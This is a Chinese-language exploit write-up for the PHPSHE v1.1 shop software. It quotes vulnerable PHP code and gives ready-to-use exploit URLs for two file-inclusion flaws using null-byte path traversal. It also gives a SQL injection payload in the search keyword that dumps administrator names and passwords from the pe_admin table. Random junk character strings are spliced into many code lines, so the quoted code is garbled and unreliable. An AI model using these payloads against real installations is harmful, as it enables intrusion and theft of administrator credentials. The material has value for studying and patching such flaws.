phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
/* Phpshe v1.1 Vulnerability
' h) K! |! \& C. r/* ========================
5 _+ F9 v9 [: r  f6 B/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输

! V9 p4 n7 h$ F! z1 b* {

! D8 M( Y0 P/ h  c- _# w//common.php
if (get_magic_quotes_gpc()) {
% |3 P5 t- k& s: }2 G8 v!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
) W- C9 h1 z) C' ~$ G  M0 n1 ]! B1 ^!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
2 I4 M3 f" k) H( p7 u  `}
" c2 Q5 m- r, v4 Q& B+ i. U* @, }else {
: M1 l0 H1 n3 x9 k  j5 k1 _6 {!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞
  D% ]' {5 i4 M0 o5 z6 x1 K
" m3 {9 l# ?* e6 Z% S/ U" `
- T6 T/ n3 h4 M$ `1 U4 M1 s- @& P//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
5 b: D$ l  p& A, T. Q4 T' k3 m2 |) I( Vpe_result();
?>
//common 文件 第15行开始
& q- W2 Q( U# W, G& Iurl路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
0 u% I/ B' r9 Q# J7 Q3 l% V2 J4 I9 Y$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
9 \* S" D4 r9 w3 s0 l$ t; s

  j0 U5 l8 ]0 m8 v0 \
$ I1 S5 _( K' [8 g- i0 e" o/ M 0×02 搜索注入
1 ~2 A1 _5 L; Z$ s: b
<code id="code2">

//product.php文件
  G1 p  |1 ^+ d* [4 h  _$ Ncase 'list':
$category_id = intval($id);
9 ~2 P- U* }: R/ f3 H3 Z$info = $db->pe_select('category', array('category_id'=>$category_id));
1 \4 p, r8 Z7 O//搜索
$sqlwhere = " and `product_state` = 1";
/ s6 o9 n: b( d0 p0 q$ s: `pe_lead('hook/category.hook.php');
! A: }: [2 V# }0 p5 j7 L) _4 Eif ($category_id) {
! j7 k% f- w& F) S  ^$ T$ q5 zwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
8 J" ]( f1 E" I3 k: S# `3 s$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
2 o# G9 l$ N  l, d: K$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
$sqlwhere .= " order by `product_id` desc";
2 y2 c6 k' H7 r}
6 j, R, c( b+ s, Q$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
+ `2 N7 P0 D, c. V  l//热卖排行
, w, |! u* Z) _! z& Q( D8 v) e0 V$product_hotlist = product_hotlist();
//当前路径
% M% E4 w6 l2 O4 d- R  e$nowpath = category_path($category_id);
% ?- v8 P4 d- i' f0 {7 q$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
& @6 }1 I$ _; Ipublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
2 d, u/ z1 j. l/ C8 x' J; d# B{
  \8 d6 l7 ]4 k0 R/ O. O: z+ t//处理条件语句
8 n8 S' }; D! Q' g* |$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
/ W) s, B6 O1 ~: L//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>
5 N: p7 k8 Y' B/ m) p
0×03 包含漏洞2
0 N! b2 a8 L9 ^
<code id="code3">

//order.php

case 'pay':

& Z# W1 b! v6 v2 o3 M6 C/ _( J0 s$order_id = pe_dbhold($_g_id);

( l2 h8 P& a  Z9 @9 W$ J( A/ i. k$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

( z2 z# R& u* o$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

* @8 G% b, d& _2 r6 Y}

5 w: P+ W) u5 A  u" Z$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

( D+ P! o; E2 [' |/ i$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";
$ z2 `# v8 b! o0 f% P% Q( T# X

}

+ V( A. t3 A2 e- qecho '正在为您连接支付网站，请稍后...';

- G1 _4 ~) e) a' y/ linclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

7 X5 N# V( p( _  t3 ~$ p. R}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

pe_error('支付错误...');

8 J: {9 i' L7 B8 K}

1 ~" u! ]1 l3 z0 a8 U( D7 `}

. _$ u1 P; |( D+ J* B3 f2 O$seo = pe_seo('选择支付方式');

$ P: N9 T* ]/ yinclude(pe_tpl('order_pay.html'));

/ O% h% k0 i7 r5 Vbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
7 M, ]+ u, |$ M9 P6 v0 qhttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg